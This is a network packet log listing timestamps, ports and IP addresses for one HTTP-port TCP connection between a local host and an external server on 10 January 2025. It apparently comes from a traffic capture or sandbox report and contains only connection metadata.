Jan 10, 2025 18:31:37.464303017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.464317083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.464332104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.464390039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.464570045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.482270002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.482290030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.482405901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.488954067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.488961935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.488976002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.489175081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.533412933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.533423901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.533528090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.549806118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.549815893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.549865007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.549901009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.549917936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.549926996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.549932957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.550200939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.550488949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.550494909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.550510883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.550515890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.550550938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.550868034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.550884008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.550894022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.550929070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.550954103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.550960064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.550971985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.550977945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.551033020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.551033020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.551671982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.551687956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.551696062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.551731110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.552006006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.552022934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.552031994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.552040100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.552058935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.552112103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.552118063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.552134991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.552169085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.552727938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.552750111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.552762032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.552776098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.552782059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.552828074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.552828074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.553442955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.553450108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.553462029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.553467989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.553473949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.553479910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.553492069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.553498030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.553507090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.553544044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.553580046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.554320097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.554327011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.554338932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.554344893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.554378986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.554387093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.554394007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.554394007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.554403067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.554439068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.554466963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.555258036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.555265903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.555279016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.555330038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.555345058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.555351019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.555356026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.555356979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.555366993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.555387974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.555515051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.556250095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.556257010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.556278944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.556284904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.556298018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.556303978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.556314945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.556380987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.556387901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.556406975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.556442976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.557317972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.557324886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.557337046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.557344913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.557351112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.557357073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.557369947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.557375908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.557379961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.557396889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.557986975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.558172941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.558178902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.558192968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.558226109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.561459064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.561500072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.572913885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.572921038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.572932959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.573091030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.579432964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.579447985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.579459906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.579464912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.579478979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.579519033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.609905958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.609916925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.609931946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.610207081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.640373945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.640384912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.640398979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.640405893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.640413046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.640451908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.640458107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.640489101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.640507936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.640516043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.640523911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.640523911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.640528917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.640558958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.640562057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.640594959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.640645981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.640682936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.640693903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.640706062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.640798092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.640804052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.640815973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.640820026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.640827894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.643347025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.671072960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671133995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671144962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671150923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671156883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671205997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671236992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.671257019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.671257973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671266079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671281099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671310902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671324968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.671324968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671333075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671377897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.671508074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671523094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671529055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671539068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671545029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671567917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.671586037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671588898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.671606064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671611071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671617985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671617985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.671658993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.671818018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671837091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.671916962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671922922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671941996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671947956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671958923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671968937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.671974897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671983004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.671993971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672002077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672004938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.672034025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.672349930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672362089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672368050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672374010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672380924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672386885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672393084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672398090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672399998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.672410011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672414064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.672512054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.672537088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672585964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672591925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672601938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.672605038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672631025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672636986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672643900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672651052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672652960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.672669888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.672683001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672689915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672691107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.672697067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672703028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.672727108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.672993898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.673039913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.673048973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.673077106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.673106909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.673114061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.673125982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.673132896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.673146009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.673166037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.673171997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.673177958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.673185110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.673188925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.673221111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.673263073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.676197052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676228046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676234007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676249981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676255941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676279068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.676333904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676341057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676356077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676366091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.676369905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676378012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676388025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.676390886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676420927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.676448107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676474094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676491976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676497936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.676497936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676587105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.676688910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676708937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676716089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676767111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676772118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676784039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676803112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.676803112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.676815987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676820993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676822901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.676830053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676856041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676862001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676868916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.676879883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.676909924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.677218914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.677225113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.677248955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.677254915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.677272081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.677277088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.677282095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.677287102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.677314997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.677596092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.683510065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.683510065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.731084108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731137991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731162071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731183052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731195927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731208086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731216908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.731220007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731234074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731241941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731242895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.731266022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731277943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.731278896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731295109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731307983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731322050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.731328011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731343985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731352091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.731358051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731370926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731374025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.731389046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731405973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.731419086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731437922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731448889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.731453896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731467009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731479883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731491089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.731494904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.731511116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.731539011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:31:37.770754099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.770803928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.770828009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.770842075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.770854950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.770867109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.770873070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:31:37.770896912 CET	80	49704	193.143.1.205	192.168.2.5
